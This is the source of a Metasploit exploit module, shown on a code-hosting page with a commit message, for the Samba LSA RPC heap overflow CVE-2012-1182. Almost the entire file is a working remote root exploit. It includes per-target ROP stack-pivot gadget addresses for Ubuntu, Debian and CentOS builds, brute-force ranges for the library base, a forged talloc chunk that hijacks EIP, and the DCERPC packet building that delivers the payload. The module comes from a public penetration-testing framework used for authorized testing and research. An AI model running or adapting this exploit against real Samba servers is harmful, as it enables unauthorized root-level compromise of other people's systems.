c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
396 lines
13 KiB
Ruby
396 lines
13 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
include Msf::Exploit::Remote::SMB
|
|
include Msf::Exploit::RopDb
|
|
include Msf::Exploit::Brute
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
|
|
'Description' => %q{
|
|
This module triggers a vulnerability in the LSA RPC service of the Samba daemon
|
|
because of an error on the PIDL auto-generated code. Making a specially crafted
|
|
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
|
|
trigger a heap overflow and finally execute arbitrary code with root privileges.
|
|
|
|
The module uses brute force to guess the stackpivot/rop chain or the system()
|
|
address and redirect flow there in order to bypass NX. The start and stop addresses
|
|
for brute forcing have been calculated empirically. On the other hand the module
|
|
provides the StartBrute and StopBrute which allow the user to configure his own
|
|
addresses.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Unknown', # Vulnerability discovery
|
|
'blasty', # Exploit
|
|
'mephos', # Metasploit module
|
|
'sinn3r', # Metasploit module
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2012-1182'],
|
|
['OSVDB', '81303'],
|
|
['BID', '52973'],
|
|
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Space' => 600,
|
|
},
|
|
'Platform' => %w{ linux unix },
|
|
# smbd process is killed soon after being exploited, need fork with meterpreter
|
|
'DefaultOptions' => { "PrependSetreuid" => true, "PrependSetregid" => true, "PrependFork" => true, "AppendExit" => true, "WfsDelay" => 5},
|
|
'Targets' =>
|
|
[
|
|
['2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Offset' => 0x11c0,
|
|
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
|
|
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'libgcrypt_base' => 0xb67f1000 },
|
|
'Stop' => { 'libgcrypt_base' => 0xb69ef000 },
|
|
'Step' => 0x1000
|
|
}
|
|
}
|
|
],
|
|
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Offset' => 0x11c0,
|
|
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
|
|
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'libgcrypt_base' => 0xb68d9000 },
|
|
'Stop' => { 'libgcrypt_base' => 0xb6ad7000 },
|
|
'Step' => 0x1000
|
|
}
|
|
}
|
|
],
|
|
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Offset' => 0x11c0,
|
|
'Ropname' => 'Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2',
|
|
# when stack pivoting, we control dword [esi] (field "next" in talloc chunk), ecx and [esp+4] point to shellcode
|
|
'Stackpivot' => 0x0006af03, # pop ecx ; jmp dword [esi] in /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
|
# we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget
|
|
# to effectively stack pivot
|
|
'Stackpivot_helper' => 0x00054e87, #pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ;
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'libgcrypt_base' => 0xb6973000 },
|
|
'Stop' => { 'libgcrypt_base' => 0xb6b71000 },
|
|
'Step' => 0x1000
|
|
}
|
|
}
|
|
],
|
|
# default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date
|
|
#['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
|
|
# {
|
|
# 'Arch' => ARCH_CMD,
|
|
# 'Offset' => 0x11c0,
|
|
# 'Ropname' => 'Ubuntu 11.04 / 2:3.5.4~dfsg-1ubuntu8',
|
|
# 'Stackpivot' => 0,
|
|
# 'Bruteforce' =>
|
|
# {
|
|
# # The start should be 0x950 aligned, and then step 0x1000.
|
|
# 'Start' => { 'Ret' => 0x00230950 },
|
|
# 'Stop' => { 'Ret' => 0x22a00950 },
|
|
# 'Step' => 0x1000
|
|
# }
|
|
# }
|
|
#],
|
|
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Offset' => 0x11c0,
|
|
'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8',
|
|
'Stackpivot' => 0x0003e4bc, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'libgcrypt_base' => 0xb694f000 },
|
|
'Stop' => { 'libgcrypt_base' => 0xb6b4d000 },
|
|
'Step' => 0x1000
|
|
}
|
|
}
|
|
],
|
|
['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Offset' => 0x11c0,
|
|
'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6',
|
|
'Stackpivot' => 0x0003e30c, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'libgcrypt_base' => 0xb6962000 },
|
|
'Stop' => { 'libgcrypt_base' => 0xb6a61000 },
|
|
'Step' => 0x1000
|
|
}
|
|
}
|
|
],
|
|
['3.5.10-0.107.el5 on CentOS 5',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Offset' => 0x11c0,
|
|
'Ropname' => '3.5.10-0.107.el5 on CentOS 5',
|
|
'Stackpivot' => 0x0006ad7e, #xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'libgcrypt_base' => 0x0037c000 },
|
|
'Stop' => { 'libgcrypt_base' => 0x09e73000 },
|
|
'Step' => 0x1000
|
|
}
|
|
}
|
|
]
|
|
|
|
],
|
|
'DisclosureDate' => 'Apr 10 2012',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([
|
|
OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
|
|
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
if target.bruteforce?
|
|
bf = target.bruteforce
|
|
|
|
if datastore['StartBrute'] and datastore['StartBrute'] > 0
|
|
bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']
|
|
end
|
|
|
|
if datastore['StopBrute'] and datastore['StopBrute'] > 0
|
|
bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']
|
|
end
|
|
|
|
if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']
|
|
raise ArgumentError, "StartBrute should not be larger than StopBrute"
|
|
end
|
|
end
|
|
super
|
|
end
|
|
|
|
def brute_exploit(target_addrs)
|
|
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['libgcrypt_base'])
|
|
datastore['DCERPC::fake_bind_multi'] = false
|
|
datastore['DCERPC::max_frag_size'] = 4248
|
|
datastore['DCERPC::smb_pipeio'] = 'trans'
|
|
datastore['DCERPC::ReadTimeout'] = 3
|
|
|
|
pipe = "lsarpc"
|
|
|
|
|
|
connect()
|
|
smb_login()
|
|
|
|
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
|
|
dcerpc_bind(handle)
|
|
dcerpc.socket.mode = 'rw'
|
|
# revert for other exploits
|
|
datastore['DCERPC::smb_pipeio'] = 'rw'
|
|
|
|
cmd = ";;;;" # padding
|
|
helper = 0
|
|
if target['Arch'] == ARCH_CMD
|
|
cmd << "#{payload.encoded}\x00" # system argument
|
|
tmp = cmd * (816/cmd.length)
|
|
tmp << "\x00"*(816-tmp.length)
|
|
ret_addr = addr
|
|
elsif target['Arch'] == ARCH_X86
|
|
cmd << generate_rop_payload('samba', payload.encoded,{'target'=>target['Ropname'], 'base'=> target_addrs['libgcrypt_base'] })
|
|
tmp = cmd
|
|
tmp << "\x00"*(816-tmp.length)
|
|
ret_addr = target_addrs['libgcrypt_base']+target['Stackpivot']
|
|
# will help in stack pivot when it's not eax pointing to shellcode
|
|
if target['Stackpivot_helper']
|
|
helper = target_addrs['libgcrypt_base']+target['Stackpivot_helper']
|
|
end
|
|
end
|
|
|
|
stub = "X" * 20
|
|
|
|
stub << NDR.short(2) # level
|
|
stub << NDR.short(2) # level 2
|
|
stub << NDR.long(1) # auditing mode
|
|
stub << NDR.long(1) # ptr
|
|
stub << NDR.long(100000) # r-> count
|
|
stub << NDR.long(20) # array size
|
|
stub << NDR.long(0)
|
|
stub << NDR.long(100)
|
|
stub << rand_text_alpha(target['Offset'])
|
|
# Crafted talloc chunk
|
|
#stub << 'A' * 8 # next, prev
|
|
stub << NDR.long(helper) + 'A'*4 # next, prev
|
|
stub << NDR.long(0) + NDR.long(0) # parent, child
|
|
stub << NDR.long(0) # refs
|
|
# stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
|
|
stub << NDR.long(ret_addr) # destructor # will become EIP
|
|
stub << NDR.long(0) # name
|
|
stub << "AAAA" # size
|
|
stub << NDR.long(0xe8150c70) # flags
|
|
stub << "AAAABBBB"
|
|
stub << tmp # pointer to tmp+4 in $esp
|
|
stub << rand_text(32632)
|
|
stub << rand_text(62000)
|
|
|
|
begin
|
|
call(dcerpc, 0x08, stub)
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
|
|
rescue Rex::Proto::DCERPC::Exceptions::Fault
|
|
print_error('Server is most likely patched...')
|
|
rescue Timeout::Error
|
|
print_status("Timeout")
|
|
rescue Rex::Proto::SMB::Exceptions::LoginError
|
|
print_status("Rex::Proto::SMB::Exceptions::LoginError")
|
|
rescue => e
|
|
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
|
print_status('Server disconnected, this is expected')
|
|
end
|
|
end
|
|
handler()
|
|
disconnect()
|
|
end
|
|
|
|
def check
|
|
begin
|
|
connect()
|
|
smb_login()
|
|
disconnect()
|
|
|
|
version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
|
|
minor = version.scan(/\.(\d*)$/).flatten[0].to_i
|
|
print_status("Version found: #{version}")
|
|
|
|
return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
|
|
return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
|
|
return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
rescue ::Exception
|
|
return CheckCode::Unknown
|
|
end
|
|
end
|
|
|
|
# Perform a DCE/RPC Function Call
|
|
def call(dcerpc, function, data, do_recv = true)
|
|
|
|
frag_size = data.length
|
|
if dcerpc.options['frag_size']
|
|
frag_size = dcerpc.options['frag_size']
|
|
end
|
|
object_id = ''
|
|
if dcerpc.options['object_call']
|
|
object_id = dcerpc.handle.uuid[0]
|
|
end
|
|
if options['random_object_id']
|
|
object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
|
|
end
|
|
|
|
call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
|
|
call_packets.each { |packet|
|
|
write(dcerpc, packet)
|
|
}
|
|
|
|
return true if not do_recv
|
|
|
|
raw_response = ''
|
|
|
|
begin
|
|
raw_response = dcerpc.read()
|
|
rescue ::EOFError
|
|
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
end
|
|
|
|
if (raw_response == nil or raw_response.length == 0)
|
|
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
end
|
|
|
|
|
|
dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
|
|
|
|
if dcerpc.last_response.type == 3
|
|
e = Rex::Proto::DCERPC::Exceptions::Fault.new
|
|
e.fault = dcerpc.last_response.status
|
|
raise e
|
|
end
|
|
|
|
dcerpc.last_response.stub_data
|
|
end
|
|
|
|
# Used to create standard DCERPC REQUEST packet(s)
|
|
def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')
|
|
|
|
opnum = opnum.to_i
|
|
size = size.to_i
|
|
ctx = ctx.to_i
|
|
|
|
chunks, frags = [], []
|
|
ptr = 0
|
|
|
|
# Break the request into fragments of 'size' bytes
|
|
while ptr < data.length
|
|
chunks.push( data[ ptr, size ] )
|
|
ptr += size
|
|
end
|
|
|
|
# Process requests with no stub data
|
|
if chunks.length == 0
|
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
|
|
return frags
|
|
end
|
|
|
|
# Process requests with only one fragment
|
|
if chunks.length == 1
|
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
|
|
return frags
|
|
end
|
|
|
|
# Create the first fragment of the request
|
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )
|
|
|
|
# Create all of the middle fragments
|
|
while chunks.length != 1
|
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
|
|
end
|
|
|
|
# Create the last fragment of the request
|
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )
|
|
|
|
return frags
|
|
end
|
|
|
|
# Write data to the underlying socket
|
|
def write(dcerpc, data)
|
|
dcerpc.socket.write(data)
|
|
data.length
|
|
end
|
|
|
|
end
|
|
|